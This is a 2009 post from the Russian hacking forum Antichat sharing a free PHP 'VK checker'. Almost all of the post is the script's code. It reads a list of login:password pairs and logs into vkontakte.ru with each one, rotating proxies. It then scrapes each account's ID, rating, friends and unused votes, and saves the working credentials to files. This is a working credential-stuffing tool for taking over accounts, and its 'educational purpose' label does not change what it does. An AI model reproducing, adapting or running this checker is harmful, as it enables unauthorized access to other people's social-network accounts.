ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > SЕО/Финансовые задачи/Социальные сети > Социальные сети
   
 
 
Опции темы Поиск в этой теме Опции просмотра

VK cheker - php edition(FREE)
  #1  
Старый 23.09.2009, 17:45
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию VK cheker - php edition(FREE)

Набросал чекер на пхп
скрипт основан на базе скриптов Isis'a и -=Medved=-, грубо говоря собраны в 1 скрипт.
работает с прокси, кому надо тот может прикрутить антикапчу.

З.Ы. критика приветствуется. в скрипте могут быть и ошибки т.к. пока еще учимся ))))

PHP код:
<?php
//Based on Isis checker and -=MeDved=- vote stealer
// special 4 anti4at from #svesve icq 8000909#
// for educational purpose only

set_time_limit(0);
error_reporting(1);

$aks file("accs.txt"); // AC file, login:pass
$pfile          file('proxy.txt'); // proxy ip:port
$filevalid    'valid.txt'//CHMOD 777
$filevotes    'votes.txt'//CHMOD 777
$filerates    'rates.txt'//CHMOD 777

$rate        '0';
$friends    '0';
$votes        '0';


function 
curl($url,$post,$proxy=false)
{
    
$cfile 'cookies.txt';
    
$ch curl_init();
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_URL$url);
    
curl_setopt($chCURLOPT_HEADER0);
    
curl_setopt($chCURLOPT_POSTFIELDS$post);
    
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    if(
$proxy){
        
curl_setopt ($ch CURLOPT_PROXY$proxy);
    }
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    
curl_setopt($chCURLOPT_POST1);
    
$result curl_exec($ch);
    
curl_close($ch);
    return 
$result;
};
function 
go_in($email,$pass){
    
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
return 
$result;
}
    echo 
'Настройки:<br/>
    <form method="post">
        <input type="checkbox" name="rating" checked="checked"/>Сохранить пользователей с рейтингом > 100% в отдельный файл<br/>
        <input type="checkbox" name="vote" checked="checked"/>Сохранить пользователей с неисп.голосами в отдельный файл<br/>
        <input type="checkbox" name="proxy" checked="checked"/>Использовать прокси<br/>
        <input class="ncc" type="submit" name="start" value="Старт"/>
    </form>'
;

    if(isset(
$_POST['rating']))    $rating    true; else $rating    false;
    if(isset(
$_POST['vote']))    $vote    true; else $vote    false;
    if(isset(
$_POST['proxy']))    $use_proxy    true; else $use_proxy   false;
    
    echo 
"<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;border:1px solid #404040;background-color:#221;}red{color:#FF0000}a {text-decoration:none;color:#000;}
        td {border:1px solid black;}
        .ncc {background:#36638E none repeat scroll 0 0;color:#FFFFFF;display:block;padding:3px 8px;}</style> "
;
if(isset(
$_POST['start'])){
    
$a $b    0;
    
    echo 
'<table><tr><td>Email</td><td>Password</td><td>Id</td>';
    echo 
'<td>Rating</td>';
    echo 
'<td>Friends</td>';
    echo 
'<td>Votes</td>';
    echo 
'</tr>';
    
    foreach(
$aks as $k => $v){

        
$ak explode(":"trim($v));
        
        if(
$use_proxy){
            
$proxy   $pfile[$a];
            
$rcont go_in($ak['0'],$ak['1'],$proxy);
        }else{
            
$rcont go_in($ak['0'],$ak['1']);
        }
        if(
$b 2){
            
$a++;
            if(
$a count($pfile)) $a 0;
        }
        if(
preg_match('#href="\/id([0-9]+)" class="hasedit"#'$rcont$ids)){
            
$id=$ids[1];
            
$return    '<td>'.$ak['0'].'</td><td>'.$ak['1'].'</td><td>'.$id.'</td>';
            if(
preg_match('#<div id="percentGold">(.*?)</div>#'$rcont$rat))
            {
                
$rate    $rat[1];
                
$return    .= '<td style="background-color:#e0d7a3;">'.$rate.'</td>';
                if(
$rating){
                    
$fs fopen($filerates'a');
                    
fwrite($fs$ak['0'].':'.$ak['1']."\r\n");
                    
fclose($fs);
                }
            }
            else
            if(
preg_match('#<div id="percent">([0-9]+)%</div>#'$rcont$rat))
            {
                
$rate    $rat[1];
                
$return    .= '<td>'.$rate.'</td>';
            }

            
            
$friends     = (preg_match('#<h2>Друзья <span>\(([0-9]+)\)</span></h2>#'$rcont$fri))    ?    $fri[1]    :    '0'    ;
            
$return        .= '<td>'.$friends.'</td>';
        
            
$votes    = (preg_match('#У Вас <b>([0-9]+)</b> неисп#'$rcont$vot))    ?    $vot[1]    :    '0'    ;
            
$return    .= '<td>'.$votes.'</td>';
            if(
$vote and $votes>0){
                
$fr fopen($filevotes'a');
                
fwrite($fr$ak['0'].':'.$ak['1']."\r\n");
                
fclose($fr);
            }
            
// пишем валид в файл
            
$fd fopen($filevalid'a');
            
fwrite($fd$ak['0'].':'.$ak['1']."\r\n");
            
fclose($fd);
            echo 
$return.'</tr>';
        }
        else{    
            echo 
'<td>'.$ak['0'].'</td><td>'.$ak['1'].'</td><td>NON VALID</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>';
        }
        
$b++;
        
flush();
        @
ob_flush();
    }
}
?>
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ